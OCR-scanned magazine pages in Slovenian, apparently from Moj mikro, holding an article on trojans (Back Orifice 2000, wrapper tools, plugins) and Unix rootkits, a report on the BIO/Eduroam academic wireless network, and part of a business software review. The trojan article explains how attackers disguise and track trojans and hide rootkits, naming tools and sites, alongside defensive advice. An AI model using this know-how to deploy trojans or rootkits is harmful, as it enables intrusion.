od ovir pri razkrivanju njegove uporabe.

Protivirusni proizvajalci uvri¢ajo Back Ori-
fice v kategorijo trojanskih konjev, program pa
je podobno kot Netbus sestavljen iz streznika
in odjemalca, ki medsebojno komunicirata prek

protokola TCP/IP (slika 5)
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Kako napadalec doseZe namestitev trojanskega
konja v #rtvin sistem? Najveckrat napadalec pre-
prosto preprica #rtev, da si ga sama namesti, kar
pa obicajno ne bi uspelo, &e bi napadalec #rtvi
poslal e-posto s prilogo Trojanski konj.exe. V ta
namen obstajajo orodja, imenovana wrappers,
ki so uporabna za ustvarjanje trojanskih konjev.
Taksno orodje namre¢ doda legitimnemu pro-
gramu (igri, Officeovemu dokumentu ali drugi
izvisljivi datoteki) izvrsljivo datoteko strezniske-
ga dela BO2K. Ti dve izvrSilni datoteki sta nato
zdruZeni v eno samo datoteko, pri emer se zaradi
majhnosti BO2K tega skoraj ne opazi. Ko upo-
rabnik prejme tovrsten paket, se najprej namesti
BO2K, nato pa se zaZene $e drug program.

Opisano nam pove, da lahko kdorkoli brez
vsakr§nega znanja programiranja doda trojan-
skega konja katerikoli izvrSilni datoteki in tako
maskiran paket dostavi svoji #rtvi.

Nekateri od Stevilni ovijalnih programov
(wrappers) so: Silk Rope, SaranWrap in Eli-
teWrap. Silk Rope 2000 lahko najdete na naslo-
vu www.netninja.com, program pa ima najeno-
stavnejsi grafi¢ni uporabniski vmesnik, kar drugi
zloglasni dvojici manjka.

Bodite skrajno previdni pri pretakanju in
name$¢anju programov z nepoznanih in
sumljivih spletnih strani. Ampak to ste
verjetno vsaj ze stokrat slifali! Posre¢ena
primerjava je dogodek, ko hodimo po plog-
niku in na tleh najdemo, denimo, na oko
vabljiv prigrizek. »Poslastico« poberemo,
pozneje pa ¢udimo, kako to, da smo zboleli.
Preverite »dobrote«, ki jih najdete v inter-
netu, vsaj s protivirusnim programom.

Osnovna funkcionalnost se lahko pri BO2K e
razsiri z vtiéniki (plug-ins), pri ¢emer se te dodat-
ne moznosti lahko dodajajo Ze med namestitvijo,
kar omogoca napadalcem, da se enostavneje pri-
lagodijo tardi.

Nekatere izmed vti¢nikov najdete na naslovu
www.bo2k.com/warez.html, obsegajo pa vse mo-
goce, na primer:

- BoPeep (omogoca prenos video posnetka
#rtvinega zaslona ...)

- Sifriranje (RC6, CAST-256, IDEA in Blow-
fish omogocajo §ifriranje prenosa podatkov)

- BOSOCK32 (omogoca prenos podatkov s
protokolom ICMP, kar izjemno ote%i odkritje, saj
ICMP za komunikacijo ne uporablja vrat).

Ena osnovnih teZav pri uporabi trojanskih ko-
njev je to, da je treba strezniski del trojanskega
konja nekako najti. Zacetni paket, ki ga napada-
lec poslje uporabniku, lahko ta uporabnik razpo-
§lje naprej, ker mu je bil program, v katerega je
bil BO2K maskiran, preprosto vse¢. Ti drugi upo-
rabniki nato namestijo BO2K v svoje sisteme,
pri Cemer pa napadalec ne ve, kdo vse je paket
namestil in njihovih sistemov ne more nadzirati,
&e ne pozna njihovega IP-naslova. Kako napada-
lec resi tovrstno dilemo?

Racunalnisko podzemlje je v odgovor na to
vprasanje ponudilo v uporabo dalo moé¢ni orodji.
Imenujeta se Rattler in BT2K, problem pa re-
Sita tako, da vsak sistem, v katerega se namesti
BO2K, ob namestitvi napadalcu poglje e-posto,
s pomocjo katere napadalec najde svojo »izgub-
ljeno« #rtev. E-posta pa je lahko pocasna, zato so
se domislili novejse metode z vti¢nikom Speake-
asy, ki se poveze v dolo¢en IRC-kanal, kjer na-
znani Novo Zrtev v stvarnem casu.

Trojanski konji postanejo Se udinkovitejsi v
povezavi s kontrolniki ActiveX in spletnimi
brskalniki. V prej$njih ¢lankih smo Ze govorili
o kontrolnikih ActiveX, ki so Microsoftova teh-
nologija za distribucijo izvrSilnih datotek prek in-
terneta. Streznik lahko s kontrolnikom ActiveX
namesti trojanskega konja prek vasega spletnega
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brskalnika brez poprej$njega obvestila, da se je
to zgodilo. Microsoft je seveda omogoéil funkci-
jo, da se ActiveX names¢a samo po poprejs$njem
preverjanju digitalnega podpisa, kar pa nemalo
uporabnikov nevede preprosto izklju&i.

Minimalno za$¢ito bomo vzpostavili Ze s pro-
tivirusnim programom, ki naj bo seveda redno
(beri: vsakodnevno) varnostno posodabljan.
Vsak izmed opisanih trojanskih konjev program-
ske ravni ima namre¢ dolocen nadin delovanja,
ki ga protivirusni programi ponavadi prepozna-
jo (kljuci registra, specificne datoteke, zagnane
storitve ipd.). Ceprav tovrstni programi v resnici
niso virusi (se ne $irijo na druge dokumente in
aplikacije), jih protivirusni programi zaznajo in
prepredijo njihovo izviditev. Izogibajte se orod-
jem, katerih ponudnik zatrjuje, da boste z njimi
odstranili trojanske konje. Tovrstna orodja jih
namre¢ namesto, da bi jih odstranila, v resnici
namestijo.

Vsekakor pa spoznajte programe, ki jih imate
namesCene, pri Cemer bodite pozorni predvsem
na njihovo poreklo. Ce proizvajalca ne poznate,
imate v internetu izvrstno priloznost, da o njem
izveste kaj ve¢. Kanéek zdrave kmecke pameti
prepogosto pomeni ved kot vsa varnostna orod-
ja skupaj. V naslednji $tevilki Mojega mikra si
bomo pogledali, kako napadalec prikrije svojo
prisotnost v sistemu in spremeni njegovo delo-
vanje sebi v prid.

Kako naj vem, da je program dejansko to, kar
mislim, da je? Pred ¢asom so se razvijalci program-
ske opreme domislili postopka, ki nam lahko za-
gotovi, da je program natanko to, kar je razvija-
lec dal na trg. Program, ki ga uporabnik prenese
iz interneta, je namre¢ lahko poprej spremenjen
v napadalcu prijazne;jso obliko in nato nastavljen
na spletno stran, kjer preZi na rtve. Zato mnogi
razvijalci programske opreme vkljucujejo moz-
nosti preverjanja digitalnega odtisa programa in
tudi digitalnega podpisa razvijalca.

Digitalni prstni odtisi (digital fingerprint) ti-
pi¢no temeljijo na algoritmu MD5 (Message Di-
gest 5), ki ga razvijalec programske opreme gene-
rira s programom md5sum. Md5sum je vklju¢en
v vecino operacijskih sistemov Linux. Razvijalec
nato prenese digitalni prstni odtis na varno me-
sto, ki je obi¢ajno spletna stran. Uporabnik lah-
ko nato prav tako s programom md5sum preveri,
ali preneseni program ustreza prstnemu odtisu na
spletni strani ali ne. Na spletnem naslovu www.
rpmfind.net si lahko ogledate, kaksen je digital-
ni prstni dejansko videti (v tem primeru sniffer
tcpdump).

Proizvajalci pa so napravili Se korak naprej in
nekateri programi vsebujejo tudi digitalni pod-
pis. Proizvajalec lahko npr. s programom PGP
(Pretty Good Privacy) digitalno podpise kodo
programa. Uporabnik lahko nato s programom,
zdruzljivim s PGP-jem, oz. z Internet Explorer-
jem ugotovi, ali je program dejansko prisel od
proizvajalca v nespremenjeni obliki. Kljub vsem
opisanim postopkom pa nam $e vedno ostane

odprto vprasanje: Ali lahko zaupam proizvajalcu
programske opreme? Vsekakor je odlogitev vasa,
odvisna pa predvsem od trenutnih varnostnih
potreb posameznika ali organizacije.

Trojanski konji, o katerih smo govorili doslej,
so posebni programi, ki jih napadalec doda siste-
mu, kjer nato opravljajo nalogo stranskih vrat.
Ceprav so tovrstni programi zelo uporabni, pa
je njihovo odkrivanje precej enostavno, saj jih
zaznajo tudi povpre¢ni protivirusni programi.
Tradicionalne zbirke orodij, ki omogo&ajo in
obenem prikrivajo hekerske dejavnosti, imeno-
vane rootkit (korenski komplet) so bolj prikrita
oblika trojanskih konjev, saj v sistem ne dodajajo
novih programov, temved spremenijo obstojece
sistemske izvrsilne datoteke, s katerimi si tako
zagotovijo dostop v sistem. To lahko ponazorimo
z zastrupitvijo z jabolkom, pri Eemer v jabolko ne
bi dodali strupa, temve¢ bi ga gensko spremenili
tako, da bi bilo za uporabnika smrtonosno.

7 zamenjavo sistemskih komponent so pro-
grami rootkit precej bolj razdiralni kot obicajni
trojanski konji. V rabi so Ze desetletje, pri cemer
so bili prvotno rezervirani za hekersko elito, v
zadnjem Casu pa so vse bolj Siroko uporabljani,
Cemur po vsej verjetnosti botruje enostavnost
njihove uporabe. V preteklosti so bili namenjeni
predvsem za sisteme Unix, v zadnjem &asu pa se
selijo tudi na Windows, kjer obi¢ajno zamenjajo
datoteke DLL (Dynamic Link Library) oz. kako
drugade spremenijo sistem.

V nasprotju s svojim imenom rootkit napa-
dalcu ne omogoca pridobitve korenskega (root)
dostopa do sistema. Rootkit je uporaben za napa-
dalca, ki Ze ima korenski dostop v taréin sistem.
Ko je napadalec v sistemu, mu rootkit omogoca,
da ohrani svoj dostop do sistema in hkrati pri-
krije sledove vdora.

Kako rootkit odpre stranska vrata? Za ra-
zumevanje tovrstnih postopkov je treba najprej
razloziti, kaj se dogaja, ko vstopamo v tipi¢en si-
stem Unix. Ko se prijavljate v Unix (lokalno ali
oddaljeno), se za?ene program /bin/login. Sistem
z njim preveri uporabnisko ime in geslo oziroma
ali se uporabnikovi vneseni podatki skladajo z
datoteko, v kateri sistem hrani prave podatke
za dostop. Ce se geslo ujema, program dovoli
uporabniku vstop v sistem. Rootkit v tem pri-
meru zamenja program /bin/login s prilagojeno
razli¢ico, ki vkljucuje geslo za korenski dostop
do sistema. Tovrstna kompromitacija sistema
omogoc¢a napadalcu, da dostopa v sistem tudi, ¢e
skrbnik sistema izbrise gesla vseh uporabnikov.

Prvi znak, da je v sistemu namescen rootkit, je
lahko rahlo spremenjen prijavni zaslon.

Za odkrivanje tovrstnih sprememb sistema
skrbniki sistemov Unix obi¢ajno pregledajo pro-
gram bin/login s programom strings. Pri tovrst-
nem pregledu skrbnik i§¢e morebitne neznane
vnose, ki bi bili lahko geslo za vstop. Pogosto
se namre¢ dogaja, da je geslo za korenski dostop
preprosto vneseno v /bin/login. Seveda pa tovr-
sten nacin odkrivanja poznajo tudi napadalci,
ki so zaceli zaradi tega gesla drobiti po celotnem
bin/loginu, kar skrbnikom e dodatno ote%i delo.
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Ko napadalec zasede tar¢in sistem in namesti
rootkit, obi¢ajno namesti Se vohljaca (sniffer), ki
mu omogodi pridobitev gesel in ob&utljivih poda-
tkov drugih sistemov v omreZju. Tako si napada-
lec pridobi dostop do drugih povezanih sistemov
in Siri svojo zZlonamerno dejavnost. Zaradi uporab-
nosti vsebuje vetina rootkitov tudi enostavnega
vohlja&a, ki prestreza prvih nekaj znakov vsake
povezave ter vse skupaj beleZi v lokalno datoteko.
Napadalec poganja vohljata v ozadju, nato pa se
v nekem trenutku poveZe v sistem, kjer pregleda
pridobljena uporabniska imena in gesla.

Sistemski skrbniki si lahko za odkrivanje na-
mescenih vohljacev pomagajo s programom if-
config. Ta med drugim prikazuje omre?ne adap-
terje v »promiskuitetnem« nacinu, kar je prvi
znak name$¢enega vohljaca. Seveda pa napa-
dalci ne Zelijo, da bi jih skrbnik tako enostavno
odkril, zato ve¢ina rootkitov vkljucuje trojansko
razli¢ico programa ifconfig, ki nato skrbniku
prikrije dejstva glede name3cenih vohljacev.
Rootkiti obi¢ajno poleg opisanih zamenjajo tudi
naslednje programe:

- Du (prikazuje uporabo diska in koliko

prostora je na voljo)

- Find (uporabniku dovoljuje iskanje datotek

idr. tudi po datumu spremembe)

- Ls (prikaZe vsebino imenika)

- Netstat (prikazuje procese, ki poslusajo na

razli¢nih vratih TCP in UDP)

- Ps (prikaZe seznam delujo&ih procesov v

sistemu)

Nekatere razlicice rootkitov zamenjajo tudi sys-
logd in tako varnostnim datotekam onemogotijo
spremljanje napadaléevih dejavnosti. Vsi zgoraj
opisani programi so spremenjeni tako, da prikrivajo
napadalCeve dejavnosti pred razkritjem.

Najbolj znana rootkita sta prav gotovo Irk5
(Linux RootKit 5) in tOrnkit, ki sta namenjena
sistemom Linux, ob namestitvi pa med drugim za-
menjata netstat, passwd, syslogd, inetd, killall ...

Za namestitev rootkita potrebuje napadalec
korenski dostop, kar pomeni, da bo najbolj-
$a obramba %e to, da jim preprecite pridobitev
korenskega dostopa. Torej boste napadalcu v
veliki meri ote%ili delo %e z uporabo kompleks-
nejsih gesel, varnostno posodobljenim sistemom
in zapiranjem nepotrebnih vrat. Ce ste sistemski
skrbnik, bi morala imeti vaSa organizacija vse-
kakor izdelan varnostni program za ohranjanje
varnostne strukture.

Ceprav boste va$ sistem ohranjali pri Zivlje-
nju na zgoraj opisani nacin, pa to ne pomeni,
da napadalec ne more vstopiti v va3 sistem prek
katere od neznanih varnostnih lukenj in si tako
pridobiti korenski dostop. Zelo uporabna na¢ina
za zaznavanje tovrstnih posegov sta namestitev
pregledovalnika celovitosti datotek (file integri-
ty checker), kot je Tripwire, ki najdete na ftp.
cerias.purdue.edu/pub/tools/unix/ids/tripwire/,
ali uporaba podpisov PGP.
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BREZZICNO IZOBRAZE\IALNO OMREZJE

Z zaCetkom novega Solskega leta so na
petih fakultetah vseh treh slovenskih
univerz in enem Solskem centru
vzpostavili prva brezzZitna omreZja v
okviru pilotnega projekta. Zasnova
omrezij BIO omogoca dostopno,
zanesljivo, varno in enostavno uporabo
brezzicnih tehnologij.

PiSe: Milan Siméié
milan.simeic@mojmikro.si

porabniki iz izobra¥evalne in razisko-

valne sfere se e lahko povezujejo v

brezZi¢na omreZja na razli¢nih akadem-

skih ustanovah z enim uporabniskim
imenom in geslom. Studentom, pedagoskim
delavcev, raziskovalcem in dijakom je tako
olajsan dostop do interneta, omogocene so
nove oblike dela in izobraZevanja.

V okviru projekta BIO je ministrstvo za in-
formacijsko druzbo (MID) s sofinanciranjem
omogodil vzpostavitev brezZi¢nih omre?ij na
Fakulteti za elektrotehniko, Fakulteti za ma-
tematiko in fiziko iz Univerze v Ljubljani,
Fakulteti za elektrotehniko, ra¢unalnistvo in
informatiko in Fakulteti za organizacijske vede
iz Univerze v Mariboru, Pedagogki fakulteti iz

Univerze na Primorskem ter SrednjeSolskemu
centru Ptuj.

Vzpostavitev brezzi¢nih omreZij na sloven-
skih izobraZevalnih in raziskovalnih ustanovah
je del vseevropskega projekta Eduroam, v ok-
viru katerega poteka uvajanja novih tehnolo-
gij in zagotavljanja ve&je mobilnosti za $tuden-
te in raziskovalce, ki ga koordinira TERENA
(Trans-European Research and Education
Networking Association) - ZdruZenje nacio-
nalnih evropskih in raziskovalnih omreZij.

OmreZja v tem trenutku Ze delujejo in jih za-
posleni in $tudentje e lahko uporabljajo. Se-
veda pa je na zaletku kar precej tezav, saj vse
e ne deluje brezhibno, uporabniki pa se tudi
$e niso privadili omreZja, ki je precej zaprto in
za vstop potrebujete posebnega odjemalca, ki
mora biti name$¢en v racunalniku, dlanéniku,
telefonu. Ti odjemalci so odvisni od procesorja
v rac¢unalniku. OmreZje EDUROAM :zato de-
luje brezhibno le z novimi procesorji Centrino
in operacijskim sistemom Windows XP. Linux
v tem trenutku Se ni podprt, ker zanj $e ni od-
jemalca. Starej$i prenosniki pa potrebujejo
WLAN-kartico novejSega tipa, kar je seveda
dodaten strofek za uporabnike. Predvidevam,
da bodo do te¥avo s¢asoma odpravili.

Na zagetku je nekoliko teZav z nastavitvami,
vendar potem vse deluje. Ce ste prenosnik po-
vezali v omreje, potem bo tudi pri povezavi
v drugo ustanovo vse delovalo brez dodatnih
nastavitev.

Za mnenje smo povprasali na ARNES; ki je
v projektu sodeloval po tehniéni plati in MID,
ki je podprl ta pilotni projekt.

Photo Nokia

Preprosto in varno brezzicno komuniciranje

Mnenje Arnesa o projektu BIO je podal tehnicni direktor
Javnega zavoda ARNES mag. Avgust Jauk.

Kaksne so varnostne resitve in kako bodo vplivale na delo uporabni-
kov?

V Arnesu se zavedamo, da je zagotavljanje ustrezne stopnje varnosti
uporabe v brezzi¢nih omreZjih Se veliko pomembnejse kot v obicajnih
»¥i¢nih« omreZjih. Radijskim valovom je mo¥no precej enostavno pri-
sluskovati ter uporabnikom ukrasti njihova gesla. Resen problem je tudi
nepooblastena uporaba, ki je pri obiajnih omreZij precej teZja, ker mora
zlikovec najprej pridobiti fizi¢ni dostop do omreZnega prikljucka, pri brez-
%i¢nih omre%jih pa je pogosto dovolj, da »ujame« radijski signal.

Zato smo iskali reSitev, ki bo preprosto in varno najprej omogodila ugo-
tavljanje istovetnosti uporabnika, nato pa mu prek vzpostavljene brezzig-
ne povezave zagotavljala varno komuniciranje.

V zadnjih dveh letih smo preizkusili precej mo#nih prijemov in opreme.
Izkazalo se je, da Sele varnostni protokol WPA zagotavlja ustrezen kom-
promis med varnostnimi zahtevami in ustrezno razsitljivostjo na eni ter
enostavno vzpostavitvijo sistema in njegove uporabe na drugi strani. Ta
reSitev pomeni kakovosten preskok pri zagotavljanju varnosti v omre%jih
Wi-Fi. Proizvajalci so protokol hitro prevzeli, tako da je danes podprt pri
prakti¢no vseh novih prenosnikih in brezZi¢nih omre?nih karticah. Eden
odlotilnih dejavnikov v prid WPA je tudi dejstvo, da uporaba tega stan-
darda omogoc¢a prehod na novejsi standard 801.11i. Ker WPA izpolnjuje
tudi zahteve za gostovanje (roaming) v okviru evropske pobude Eduroam,
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smo ga izbrali kot osnovo za slovensko brezZi¢no izobraZevalno in razisko-
valno omreZje, ki ga vzpostavljamo v okviru projekta BIO.

Izbrana resitev uporabnikom ne zagotavlja zgolj varne uporabe brezzic-
nega dela omre¥ja, temved tudi varovan priklop v omre¥je. Med prijavo v
omreZje se med uporabnikovo mobilno napravo ter overovitvenim strezni-
kom vzpostavi Sifriran tunel. Skozi tunel se uporabnisko ime in geslo var-
no preneseta do streznika. Ce gre za uporabnika iz druge organizacije, sega
tunel od odjemalca v njegovi mobilni napravi do overovitvenega stre?nika
v njegovi domadi organizaciji. Domati stre?nik preveri uporabnikovo isto-
vetnost in sporodi strefniku organizacije, kjer uporabnik poskusa uporabiti
omreZje WLAN, ali se ga sme spustiti v omre¥je. Ker uporabniku poleg
zacetnih nastavitev ni treba za gostovanje nastaviti niCesar ve&, omre?ja
delujejo kot eno samo omreZje, omre¥je BIO. Slika prikazuje preverjanje is-
tovetnosti uporabnika preko Sifriranje tunela. Postopek je pravzaprav dvo-
smeren: streznik preveri istovetnost uporabnika na osnovi uporabniskega
imena in gesla, uporabnik pa preveri stre?nikov certifikat.
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Mnenje MID-a o projektu BIO je podal dr. Miroslav Kranjc, sekretar na MID-u, vodja
sektorja za tehnoloSke naloge in vodja projekta BIO na MID-u.

Kako in zakaj ste se letos odlocili za pilot-
ni projekt BIO?

Brezzi¢na akademska omreZja v Sloveniji
so le del vseevropskega projekta Eduroam,
ki zagotavlja gostovanje upravicenih uporab-
nikov akademskih omre%ij na razli¢nih aka-
demskih ustanovah v ve&jem delu Evrope.
Letos smo se v MID-u, na Arnesovo pobudo,
prvi¢ odlocili za sofinanciranje postavitve
pilotskih brezZi¢nih omreZij v izobraZevalnih
ustanovah, natancneje, na petih visokoSol-
skih zavodih in v enem Solskem centru.

Omeniti moramo zelo dobro, partnersko in
kompetentno sodelovanje Arnesa, katerega
strokovnjaki so mo&no vpeti v mednarodne
tehnoloske projekte, in ki so s svojim zna-
njem in veliko truda, skupaj s strokovnjaki
posameznih prejemnikov sofinanciranja tudi
izpeljali celoten projekt.

Zaradi najnove;jsih trendov, ki nedvoumno
kaZejo, da so brezZi¢ne tehnologije vse bolj
na pohodu v razli¢nih uporabniskih izved-
bah in tudi zaradi racionalnejse izrabe javnih
sredstev, smo dosedanje letne javne razpise v
okviru projekta Akademska omreZja in vse-
bine (AOV) nadomestili z leto$njim javnim
razpisom za BIO. Za nakup potrebne strojne
opreme za vzpostavitev ali nadgradnjo brez-
Yi¢nih omre%ij smo tako v okviru javnega
razpisa namenili 18 milijonov slovenskih
tolarjev, pri ¢emer finan&ni prispevek MID-a

obsega priblizno tri Cetrtine celotne vrednosti
posameznega projekta. Med opremo, ki jo je
sofinanciral MID, sodijo stre?niki, dostopne
tocke in stikala ethernet, ki morajo ustrezati
posebej v razpisni dokumentaciji dolo¢enim
standardom in merilom, ki hkrati tudi zago-
tavljajo izpolnjevanje tehni¢nih in varnostnih
meril za vkljugitev v omreZje Eduroam.

Kaj so kljuéni cilji projekta BIO in komu
je namenjen?

Cilj pilotnega projekta je zagotoviti varno
in hitro povezavo mobilnim uporabnikom
razli¢nih akademskih omreZij. Pilotni projekt
BIO — BrezZi¢na izobrazevalna omre¥ja pri-
nasa v slovenski prostor pomembno tehnolo-
Sko-organizacijsko in ponudbeno novost, saj
gre za uvajanje sodobnih in varnih brezZi¢nih
internetnih sistemov v slovensko visokoSolsko
podrogje, s ¢imer Slovenija sledi trendom v in-
formacijsko najrazvitejsih drzavah. Pomembna
znadilnost projekta BIO je v tem, da temelji
na prosti in odprti programski zasnovi, kar za-
gotavlja tudi ve& drugih pozitivnih uginkov,
kot so denimo manjsi stroski pri nadaljnji re-
distribuciji Ze razvitih reitev v naslednja nova
brezzi¢na izobraZevalna omrezja, skladno s ci-
lji in na&eli Politike vlade RS do programske
opreme, temelje¢e na odprti kodi, predvsem
pa zagotavljanje brezpla¢nega dostopa za $tu-
dente, profesorje in raziskovalce in moZnosti

vzajemnega gostovanja. Refitve, ki jih bomo
uporabili pri vzpostavitvi teh omreZij, so raz-
vili posamezniki in ustanove po vsem svetu.
Resitve, ki jih bomo razvili v okviru tega pro-
jekta, so zato v enakem duhu in namenu na
voljo vsem.

Katere so posebne znacilnosti projekta,
kateri so klju¢ni poudarki in novosti, ki jih
projekt BIO prinasa?

Klju¢ni poudarek je na uporabi varnih
brezzi¢nih tehnologij (WPA), ki omogocajo
overjanje in avtorizacijo rabe virov na gosti-
teljskem omreZju. Pomemben vidik projekta
je tudi Sirjenje znanja o postavitvi tovrstnih
omre?ij tudi na posamezne ustanove, ki so
tovrstna omreZja vzpostavile in jih bodo v
prihodnje morale tudi vzdrievati in nadgra-
jevati. Zato smo v okviru razpisa zahtevali, da
prijavitelji pri postavitvi omreZij sodelujejo z
lastnimi kadri, ki pa jim dodatno strokovno
pomo¢ ponuja Arnes s svojimi strokovnjaki.
Pilotna postavitev Sestih omre%ij tako zago-
tavlja dovolj $irok nabor ljudi, ki so pridobili
konkretne izkuSnje s postavitvijo tovrstnih
omreZ?ij, in ki bodo v nadaljevanju lahko
pridobljena znanja in izkusnje delili tudi z
drugimi poznejsimi pristopniki k projektu
Eduroam. Cilj MID-a je, da bi imele v nekaj
letih vse visoko$olske, in tudi &im ved sred-
njeSolskih organizacij, mo?nost gostovanja
mobilnih uporabnikov na lokacijah njihovih
ustanov.

V okviru omreZja BIO je poskrbljeno tudi za ustrezne mehanizme za bele-
Yenje dogodkov, kar omogoca sledenje morebitnim zlorabam.

Osnovna navodila in podatki o omreZju BIO so za uporabnike na voljo
na www.eduroam.si

Izbrana reSitev ima tudi slabost. Zastarele opreme, ki ne podpira WPA,
uporabniki ne morejo uporabiti za priklop v omrezje BIO. Tovrstna opre-
ma jim torej ne omogo¢a popolne mobilnosti oz. gostovanje, to je uporabe
brezZi¢nega omreZja v drugih organizacijah, ki so ¢lanice BIO. Se vedno
pa jim lahko rabi mobilno omreZje lastne organizacije. Dostopne tocke, ki
ustrezajo zahtevam BIO, namre¢ omogocajo hkratno delovanje ve¢ nadi-
nov uporabe oz. ve¢ vamostnih reZimov hkrati. Seveda pa morajo uporab-
niki s tak§no zastarelo upremo $e vedno poskrbeti za lastno varnost, npr.
tako, da v svojo mobilno napravo namestijo odjemalca VPN in vzpostavijo
Sifriran tunel do stre?nika VPN. V nasprotnem primeru bodo $e vedno iz-
postavljeni vsem nevarnostim komuniciranja prek nezas¢itenega oz. slabo
zasCitenega brezZi¢nega omreZja.

Katere so glavne znacilnosti omregij BIO?

Cilji pri razvoju resitve so bili: enostavna uporaba, zagotavljanje varno-
sti, podpora mobilnosti uporabnikov ter prepustnost. Te cilje smo dosegli z
uporabo varnostnega protokola WPA in 802.11g, ter vzpostavitvijo enotne
infrastrukture za prevetjanje istovetnosti uporabnikov (AAI ang. Authen-
tication Authorization Infrastructure), ki je skladna z zahtevami evropske
pobude Eduroam.

Upraviceni uporabniki bodo imeli prek omenjene infrastrukture omo-

goten dostop do raznih internetnih ali drugih virov z enim uporabniskim
imenom in geslom, in to ne glede na lokacijo vira ali uporabnika. Ustano-
ve bodo lahko tako dologile, kateri njihovi ali gostujoci uporabniki ima-
jo dostop do omreZja, tiskalnikov, omreznih diskov, varovanih spletnih
strani ali ra¢unalnigkih virov v okviru GRID. Podobne sisteme razvijajo
tudi v drugih evropskih raziskovalnih in izobraZevalnih omre%jih, zelo na-
predni pri teh tehnologijah pa so tudi na Hrvagkem.

Infrastruktura, ki jo vzpostavljamo v okviru projekta BIO, bo v prihod-
nje omogocila tudi la%ji prehod na brezzi¢ne standarde prihodnosti, kot so
standard 802.11i z izbolj$ano varnostjo, 802.11e za prenos multimedijskih
vsebin ter 802.11n, ki bo omogo¢il hitrosti do 135 Mb/s in je zdruzljiv s
standardom 802.11g, ki je osnova omreZja BIO.

Kaj morajo zagotoviti ustanove, da bi se vkljucile v shemo gostova-
nja?

Ustanove, ki pristopijo k shemi gostovanja morajo vzpostaviti ustrez-
ne imenike (LDAP), streZnike za ugotavljanje istovetnosti uporabnikov
(RADIUS) in dostopne tocke. Poskrbeti morajo za posodabljanje po-
datkov o svojih uporabnikih ter seveda za delovanje sistema in pomo¢
svojim uporabnikom. Celotna postavitev mora biti v skladu s tehni¢nimi
zahtevami projekta BIO.

Celotno resitev (razen potrebnih dostopnih tock, stikal in ra¢unalni-
kov) smo zasnovali na odprti kodi, ki smo jo ustrezno dopolnili in povezali
v delujoco celoto. Organizacijam, ki bi se Zelele vkljuciti v omre¥je BIO,
na Arnesu ponujamo tehni¢na navodila in vzoréne nastavitve. B
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ODPRT POSLOVNI PROGRAM
ZA VSAKO OKOLJE

Programski paket OPINFOS SQL NET ponuja s prilozenim odprtokodnim operacijskim
sistemom in zbirko pisarniskih programov vecino zmoznosti, ki jih potrebuje malo
podjetje za uspesno informatizirano poslovanje.

Pise: Jaka Zor?
jaka.zorz@mojmikro.si

PINFOS je kot razvijalec poslovnih

aplikacij SirSi javnosti $e nepoznan,

vendar njegovo poslovno aplikacijo

OPINFOS SQL NET uporablia prek
10.000 uporabnikov. Podjetje je pri razvoju
programske opreme zvesto nacelom odprte
kode, pri ¢emer si prizadeva za oblikovanje od
operacijskega sistema neodvisne programske
opreme. S tem predvsem manjsim podjetjem
in samostojnim podjetnikom omogocajo ob-
likovanje sistema za podporo poslovanju, ki v
celoti uresniCuje njihove zahteve.

Poslovna aplikacija OPINFOS SQL NET
je zgrajena na dvonivojski arhitekturi odje-
malec-streznik. Uporablja
odprtokodni  podatkovni
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vedbah proizvajalca se najbolje obnese Win-
dows 2000, lahko pa se names¢a se Windows
98 SE, Windows Millenium ali Windows XP.
Vsi omenjeni operacijski sistemi, pa tudi DOS,
se zelo dobro obnasajo v Linuxu. Na VMware
je mo¢ namestiti tudi vse druge aplikacije za
okolja Windows in DOS. V tako names¢ene
Windows se lahko namesti tudi banéne apli-
kacije, ki pa jih je treba dodatno zai¢ititi vsaj
s protivirusnimi in protivohunskimi programi.
Pri zadostni koli¢ini pomnilnika je lahko ope-
racijski sistem Windows
stalno vklopljen, tako da
lahko uporabnik kadarkoli
dostopa do e-banéne apli-
kacije, Cetudi ta ne podpi-
ra okolij Linux.

OPINFOS SGL NETV
OMREZJU

V  omrefnem okolju

SErSET e

s e i LIS T T

strernik FireBird, po Zelji

naro¢nika pa tudi kate-
rokoli drugo relacijsko
zbirko podatkov, vklju¢no
z MySQL. Aplikacijo so
najprej razvili v razvoj-
nem okolju Kylix, zdaj pa
poteka razvoj nove razlici-
ce OPINFOS SQL NET
2.00 z orodjem Lazarus. V
podjetju pripravljajo tudi

vedjeziéno razli¢ico apli-

kacije s podporo velini [EIEREE i —

svetovnih jezikov.
OPINFOS SQL NET
trenutno deluje na vseh
operacijskih sistemih Li-
nux ter Microsoftovih
Windows 95 OSR, Windows 98 SE, Windows
Millenium, Windows 2000 in Windows XP.
V nadaljevanju bo aplikacija delovala tudi na
vseh operacijskih sistemih Mac OS X, OS/2
in FREEBSD. Prihajajoc¢a razli¢ica OPINFOS
SQL NET 2.00, ki jo v Opinfosu napoveduje-
jo v roku enega meseca, bo tako %e podpirala
operacijske sisteme Apple. Za u¢inkovito de-
lovanje program zahteva najmanj procesor s

hitrostjo 400 MHz.
UPORABA VEG OPERACIJSKIH SISTEMOV

Za zahtevnejse uporabnike je mogoce vzpo-
redno namestiti operacijska sistema Windows
in Linux, pri ¢emer se zagon operacijskega si-
stema izbere ob zagonu ratunalnika. ReSitev je
primerna za tiste uporabnike, ki potrebujejo
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operacijski sistem Windows, recimo za upora-
bo zahtevnejsih grafi¢nih ali video aplikacij, ki
so jih usvojili v okolju Windows. OPINFOS
SQL NET je tako mo?no uporabljati v vseh
namescenih sistemih v enem PC-ju, pri ce-
mer je zbirka podatkov na enem mestu, na pri-
mer v particiji Windows FAT32 ali v Linuxovi
particiji, vedno pa se dostopa do iste zbirke.
Namestitev na operacijski sistem Linux pote-
ka enostavno, s pomocjo ¢arovnika (enako kot
v Windows), le datote¢ni streznik je treba na-
mestiti ro¢no. Operacijski sistem Windows je
mo?no namestiti tudi na virtualizacijski strez-
nik VMware v operacijskem sistemu Linux, le
je za to potrebno nekaj ved pomnilnika — vsaj
500 MB. Ta moZnost je uporabna za aplikacije,
ki so narejene samo za okolje Windows. Po na-

se povezavo odjemalca
v datote¢ni streznik, ki
je lahko bodisi v okolju
Windows bodisi v Linux,
izvede z enkratnim vno-
som streznikovega URL-
ja. Tako je mo¢ oddaljene
raunalnike s strefnikom
prek interneta povezati

Tl
.-

prakti¢no od koderkoli, pri ¢emer je vseeno,
kateri od podprtih operacijskih sistemov je na-
meséen v odjemal¢evem racunalniku. Program
s $tevilom uporabnikov in koli¢ino podatkov
ni omejen.

ZMOZNOSTI ZA POSLOVANJE

OPINFOS SQL NET kot poslovna aplikaci-
ja ponuja prakti¢no vse, kar potrebuje manjse
podjetje za spremljanje poslovanja. Uporab-
